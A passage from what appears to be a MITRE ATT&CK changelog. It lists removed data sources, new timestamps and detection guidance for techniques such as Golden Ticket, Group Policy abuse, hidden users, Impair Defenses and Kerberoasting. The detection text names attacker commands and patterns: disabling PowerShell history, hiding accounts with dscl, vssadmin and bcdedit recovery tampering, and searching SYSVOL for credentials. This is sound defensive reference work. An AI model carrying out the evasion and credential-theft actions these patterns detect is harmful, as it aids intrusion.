x_mitre_detectionMonitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019) + +Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) + +Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. +

[T1615] Group Policy Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Script: Script Execution', 'Active Directory: Active Directory Object Access', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:38:54.812000+00:002025-10-24 17:48:28.148000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup. + +Monitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.

[T1484.001] Domain or Tenant Policy Modification: Group Policy Modification

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Active Directory: Active Directory Object Deletion']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:34.774000+00:002025-10-24 17:48:50.475000+00:00
x_mitre_detectionIt is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: + +* Event ID 5136 - A directory service object was modified +* Event ID 5137 - A directory service object was created +* Event ID 5138 - A directory service object was undeleted +* Event ID 5139 - A directory service object was moved +* Event ID 5141 - A directory service object was deleted + + +GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).

[T1552.006] Unsecured Credentials: Group Policy Preferences

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:39:12.196000+00:002025-10-24 17:49:05.282000+00:00
x_mitre_detectionMonitor for attempts to access SYSVOL that involve searching for XML files. + +Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)

[T1592.001] Gather Victim Host Information: Hardware

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:39:29.396000+00:002025-10-24 17:48:32.066000+00:00
x_mitre_detectionInternet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1200] Hardware Additions

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Drive: Drive Creation', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:11.434000+00:002025-10-24 17:49:26.803000+00:00
x_mitre_detectionAsset management systems may help with the detection of computer systems or network devices that should not exist on a network. + +Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.

[T1564.005] Hide Artifacts: Hidden File System

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Firmware: Firmware Modification', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:18.639000+00:002025-10-24 17:49:29.855000+00:00
x_mitre_detectionDetecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.

[T1564.002] Hide Artifacts: Hidden Users

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'User Account: User Account Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution', 'User Account: User Account Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:39:51.186000+00:002025-10-24 17:49:05.113000+00:00
x_mitre_detectionMonitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. + +Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList key. + +In macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account)

[T1564] Hide Artifacts

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata', 'Application Log: Application Log Content', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'Firmware: Firmware Modification', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification', 'Script: Script Execution', 'User Account: User Account Creation', 'Process: OS API Execution', 'User Account: User Account Metadata', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:39:52.216000+00:002025-10-24 17:48:31.407000+00:00
x_mitre_detectionMonitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.

[T1574] Hijack Execution Flow

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Module: Module Load', 'Process: Process Creation', 'Service: Service Metadata', 'File: File Modification', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:57.767000+00:002025-10-24 17:49:13.820000+00:00
x_mitre_detectionMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. + +Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. + +Monitor for changes to environment variables, as well as the commands to implement these changes. + +Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. + +Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

[T1505.004] Server Software Component: IIS Components

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Command: Command Execution', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:43.995000+00:002025-10-24 17:49:15.437000+00:00
x_mitre_detectionMonitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\system32\inetsrv\config\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021) + +Monitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)

[T1590.005] Gather Victim Network Information: IP Addresses

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:40:30.211000+00:002025-10-24 17:48:23.845000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1591.003] Gather Victim Org Information: Identify Business Tempo

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:40:43.647000+00:002025-10-24 17:48:31.764000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1591.004] Gather Victim Org Information: Identify Roles

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:40:57.270000+00:002025-10-24 17:49:23.837000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1546.012] Event Triggered Execution: Image File Execution Options Injection

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:39.823000+00:002025-10-24 17:48:55.526000+00:00
x_mitre_detectionMonitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + +Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)

[T1562.003] Impair Defenses: Impair Command History Logging

Current version: 2.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Sensor Health: Host Status', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:50.696000+00:002025-10-24 17:49:05.941000+00:00
x_mitre_detectionCorrelating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious. + +Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.

[T1562] Impair Defenses

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Cloud Service: Cloud Service Disable', 'Firewall: Firewall Rule Modification', 'Command: Command Execution', 'Script: Script Execution', 'Process: Process Modification', 'Windows Registry: Windows Registry Key Deletion', 'Process: Process Termination', 'Service: Service Metadata', 'Process: Process Metadata', 'Cloud Service: Cloud Service Modification', 'User Account: User Account Modification', 'File: File Deletion', 'Sensor Health: Host Status', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Firewall: Firewall Disable']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:24.596000+00:002025-10-24 17:48:41.123000+00:00
x_mitre_detectionMonitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. + +Monitor environment variables and APIs that can be leveraged to disable security measures.

[T1525] Implant Internal Image

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Image: Image Metadata', 'Image: Image Creation', 'Image: Image Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:30.983000+00:002025-10-24 17:48:45.786000+00:00
x_mitre_detectionMonitor interactions with images and containers by users to identify ones that are added or modified anomalously. + +In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration.

[T1562.006] Impair Defenses: Indicator Blocking

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Sensor Health: Host Status', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:29:20.899000+00:002025-10-24 17:48:57.704000+00:00
x_mitre_detectionDetect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data. + +Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}

[T1027.005] Obfuscated Files or Information: Indicator Removal from Tools

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:19.031000+00:002025-10-24 17:49:13.906000+00:00
x_mitre_detectionThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.

[T1202] Indirect Command Execution

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:23.859000+00:002025-10-24 17:48:40.495000+00:00
x_mitre_detectionMonitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)

[T1490] Inhibit System Recovery

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Cloud Storage: Cloud Storage Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Snapshot: Snapshot Deletion', 'File: File Deletion']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:22.100000+00:002025-10-24 17:49:37.297000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. + +Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage). + +For network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.

[T1056] Input Capture

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Process: Process Creation', 'Module: Module Load', 'File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Metadata', 'Command: Command Execution', 'Process: OS API Execution', 'Driver: Driver Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:02.160000+00:002025-10-24 17:49:17.884000+00:00
x_mitre_detectionDetection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.

[T1608.003] Stage Capabilities: Install Digital Certificate

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:42:10.891000+00:002025-10-24 17:49:19.322000+00:00
x_mitre_detectionConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) + +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).

[T1553.004] Subvert Trust Controls: Install Root Certificate

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:06.251000+00:002025-10-24 17:49:21.832000+00:00
x_mitre_detectionA system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017) + +Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker) + +* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25 +* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85 +* 3B1EFD3A66EA28B16697394703A72CA340A05BD5 +* 7F88CD7223F3C813818C994614A89C99FA3B5247 +* 8F43288AD272F3103B6FB1428485EA3014C0BCFE +* A43489159A520F0D93D032CCAF37E7FE20A8B419 +* BE36A4562FB2EE05DBB3D32323ADF445084ED656 +* CDD4EEAE6000AC7F40C3802C171E30148030C072

[T1218.004] System Binary Proxy Execution: InstallUtil

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:11.581000+00:002025-10-24 17:48:34.798000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

[T1559] Inter-Process Communication

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution', 'Process: Process Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:57.325000+00:002025-10-24 17:49:13.194000+00:00
x_mitre_detectionMonitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.

[T1491.001] Defacement: Internal Defacement

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:49.776000+00:002025-10-24 17:49:05.030000+00:00
x_mitre_detectionMonitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.

[T1090.001] Proxy: Internal Proxy

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:22.365000+00:002025-10-24 17:49:37.574000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1534] Internal Spearphishing

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:42:40.610000+00:002025-10-24 17:49:09.394000+00:00
x_mitre_detectionNetwork intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)

[T1036.001] Masquerading: Invalid Code Signature

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:43:00.641000+00:002025-10-24 17:49:15.520000+00:00
x_mitre_detectionCollect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.

[T1059.007] Command and Scripting Interpreter: JavaScript

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:43:16.394000+00:002025-10-24 17:48:24.217000+00:00
x_mitre_detectionMonitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. + +Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system. + +Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

[T1001.001] Data Obfuscation: Junk Data

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:22.822000+00:002025-10-24 17:49:38.011000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1558.003] Steal or Forge Kerberos Tickets: Kerberoasting

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Credential Request']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:20.912000+00:002025-10-24 17:49:36.038000+00:00
x_mitre_detectionEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)

[T1547.006] Boot or Logon Autostart Execution: Kernel Modules and Extensions

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Kernel: Kernel Module Load', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:54.982000+00:002025-10-24 17:49:10.550000+00:00
x_mitre_detectionLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) + +Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r) + +On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile) +

[T1574.013] Hijack Execution Flow: KernelCallbackTable

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
